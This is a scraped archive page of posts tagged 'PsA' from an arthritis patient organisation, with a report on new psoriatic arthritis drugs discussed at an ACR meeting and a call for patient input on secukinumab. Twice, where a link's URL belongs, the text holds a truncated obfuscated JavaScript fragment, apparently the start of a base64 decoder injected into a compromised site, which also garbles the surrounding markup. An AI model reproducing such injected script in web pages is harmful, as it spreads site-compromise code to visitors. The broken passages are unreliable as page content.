All posts related to "PsA"

ACR News: Advances in psoriatic arthritis treatment and care

Picture of Dr. Laura CoatesNow that psoriatic arthritis (PsA) is viewed as its own disease entity and no longer as a relative of rheumatoid arthritis, trends in PsA care have started to change. Methotrexate has become a first-line treatment for PsA patients, and at the American College of Rheumatology (ACR) annual meeting this week, the spotlight was on new disease modifying antirheumatic agents (DMARDs) for PsA. According to Dr. Laura Coates, National Institute for Health Research Clinical Lecturer in Rheumatology at the University of Leeds, United Kingdom: “It is quite an exciting time for psoriatic arthritis because we are getting new drugs that are specific for PsA. A lot of the newer drugs focus on the Il-17 pathway, which is a different part of the patient’s immune system (than what previous medications targeted) and which seems to be particularly important for psoriatic arthritis, psoriasis, and spondylitis arthritis.”
Continue reading

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,/" title="Permalink to Call for patient input on secukinumab for AS and PsA" rel="bookmark">Call for patient input on secukinumab for AS and PsA

Megaphone GraphicDo you have ankylosing spondylitis (AS) or psoriatic arthritis (PsA) or care for someone who does? We need your valuable input.

The Common Drug Review (CDR) is currently welcoming patients and their caregivers to provide input to patient organizations on the manufacturer’s submission for secukinumab (Cosentyx®) for the treatment of ankylosing spondylitis or psoriatic arthritis. Secukinumab is a fully human monoclonal antibody that targets IL-17A, a protein central to the development of inflammatory diseases. It is given by an injection.

The CDR is part of the Canadian Agency for Drugs and Technologies in Health (CADTH). The CDR conducts objective, rigorous reviews of the clinical and cost effectiveness of drugs, and provides formulary listing recommendations to the publicly funded drug plans in Canada (except Quebec).

To help them make their recommendations, the CDR accepts input from patient groups, like Arthritis Consumer Experts (ACE). We are calling for input from our members, subscribers and their family members who have ankylosing spondylitis or psoriatic arthritis. Caregivers are also invited to provide input.

We would like to gather your views and share them with the CDR.  function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,/#more-12181″ class=”more-link”>Continue reading